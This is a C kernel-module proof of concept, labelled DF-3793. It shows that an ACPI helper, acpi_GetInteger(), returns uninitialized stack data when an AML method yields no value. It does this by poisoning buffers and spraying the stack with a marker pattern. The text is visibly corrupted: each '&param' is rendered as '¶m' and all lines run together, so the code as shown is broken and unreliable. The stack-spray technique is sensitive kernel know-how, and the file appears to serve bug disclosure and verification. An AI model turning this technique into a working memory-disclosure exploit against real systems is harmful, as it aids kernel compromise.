DF-3793 / df3793.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 | /* * DF-3793 PoC: acpi_GetInteger() reads an uninitialized stack ACPI_OBJECT * when the named AML object exists, evaluates successfully, but returns * no value. ACPICA (nsxfeval.c AcpiEvaluateObject) sets * ReturnBuffer->Length = 0 and leaves the caller-supplied buffer * untouched, returning AE_OK. * * Part A (decisive): call AcpiEvaluateObject() directly with a * pre-poisoned caller buffer on a no-return method. If status == AE_OK * and the poison survives, ACPICA provably did not write the buffer -- * exactly the state acpi_GetInteger treats as a valid object. * * Part B (best-effort): spray the stack with a pattern, then call the * real acpi_GetInteger() on the same method. If `number` comes back * matching the sprayed pattern, stale stack data was propagated through * the helper. * * kldload df3793 && kldunload df3793 ; dmesg | grep DF3793 */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/types.h> #include <sys/sysctl.h> #include <stdint.h> #include "acpi.h" /* exported by the ACPI driver (acpi.c) */ ACPI_STATUS acpi_GetInteger(ACPI_HANDLE handle, char *path, UINT32 *number); #define SPRAY_LO 0xDF3793AAUL static void spray(void) { volatile unsigned long junk[64]; int i; /* even qwords: low 32 bits = ACPI_TYPE_INTEGER (1); * odd qwords: low 32 bits = recognizable stale value */ for (i = 0; i < 64; i++) junk[i] = (i & 1) ? 0x0000000100000000ULL | SPRAY_LO : 0x0000000100000000ULL; __asm __volatile("" :: "r"(junk) : "memory"); } static void probe_path(ACPI_HANDLE h, char *path) { ACPI_OBJECT param; ACPI_BUFFER buf; ACPI_STATUS status; UINT8 *p = (UINT8 *)¶m; int i; int poisoned_ok; /* Poison the caller-supplied buffer (emulates stale stack data) */ for (i = 0; i < (int)sizeof(param); i++) p[i] = (UINT8)(0xA0 + (i & 0x0f)); param.Type = ACPI_TYPE_INTEGER; param.Integer.Value = 0xDEADBEEFCAFEBABEULL; buf.Pointer = ¶m; buf.Length = sizeof(param); status = AcpiEvaluateObject(h, path, NULL, &buf); kprintf("DF3793: path=%s status=%s buf.Length_after=%lu\n", path, AcpiFormatException(status), (unsigned long)buf.Length); if (status == AE_BUFFER_OVERFLOW) kprintf("DF3793: (needs %lu bytes; not our case)\n", (unsigned long)buf.Length); poisoned_ok = (status == AE_OK && param.Type == ACPI_TYPE_INTEGER && param.Integer.Value == 0xDEADBEEFCAFEBABEULL); kprintf("DF3793: param.Type=%d param.Value=0x%016jx%s\n", (int)param.Type, (uintmax_t)param.Integer.Value, poisoned_ok ? " <== BUFFER UNTOUCHED, AE_OK" : ""); if (status != AE_OK) return; /* Part B: real helper, preceded by a stack spray */ { UINT32 number = 0; ACPI_STATUS s2; spray(); s2 = acpi_GetInteger(h, path, &number); kprintf("DF3793: acpi_GetInteger -> %s number=0x%08x%s\n", AcpiFormatException(s2), number, (number == SPRAY_LO) ? " <== STALE STACK DATA PROPAGATED" : " (frame layout differs; see Part A)"); } } /* Same probe but pass integer arguments (for methods taking args). */ static void probe_path_args(char *path, int nargs) { ACPI_OBJECT param; ACPI_BUFFER buf; ACPI_OBJECT_LIST params; ACPI_OBJECT objs[4]; ACPI_STATUS status; UINT8 *p = (UINT8 *)¶m; int i; for (i = 0; i < nargs; i++) { objs[i].Type = ACPI_TYPE_INTEGER; objs[i].Integer.Value = 0; } params.Count = nargs; params.Pointer = objs; for (i = 0; i < (int)sizeof(param); i++) p[i] = (UINT8)(0xA0 + (i & 0x0f)); param.Type = ACPI_TYPE_INTEGER; param.Integer.Value = 0xDEADBEEFCAFEBABEULL; buf.Pointer = ¶m; buf.Length = sizeof(param); status = AcpiEvaluateObject(NULL, path, ¶ms, &buf); kprintf("DF3793: path=%s status=%s buf.Length_after=%lu\n", path, AcpiFormatException(status), (unsigned long)buf.Length); kprintf("DF3793: param.Type=%d param.Value=0x%016jx%s\n", (int)param.Type, (uintmax_t)param.Integer.Value, (status == AE_OK && param.Type == ACPI_TYPE_INTEGER && param.Integer.Value == 0xDEADBEEFCAFEBABEULL) ? " <== BUFFER UNTOUCHED, AE_OK" : ""); if (status == AE_OK) { UINT32 number = 0; ACPI_STATUS s2; spray(); s2 = acpi_GetInteger(NULL, path, &number); kprintf("DF3793: acpi_GetInteger -> %s number=0x%08x%s\n", AcpiFormatException(s2), number, (number == SPRAY_LO) ? " <== STALE STACK DATA PROPAGATED" : " (frame layout differs; see Part A)"); } } static int df3793_modevent(struct module *m, int what, void *arg) { switch (what) { case MOD_LOAD: /* \_SB.PCI0.PRES._INI: no Return() but its Store leaves an * implicit return under interpreter slack (contrast case). */ probe_path(NULL, "\\_SB_.PCI0.PRES._INI"); /* \_SB.CPUS.CTFY: body is only If()/Notify() -- no operator * produces a result, so no implicit return: no object. */ probe_path_args("\\_SB_.CPUS.CTFY", 2); /* absent object: AE_NOT_FOUND (buffer also untouched) */ probe_path(NULL, "\\_SB_.PCI0.NOSUCH._INI"); kprintf("DF3793: done\n"); break; case MOD_UNLOAD: break; } return (0); } static moduledata_t df3793_mod = { "df3793", df3793_modevent, NULL }; DECLARE_MODULE(df3793, df3793_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); MODULE_DEPEND(df3793, acpi, 1, 1, 1); |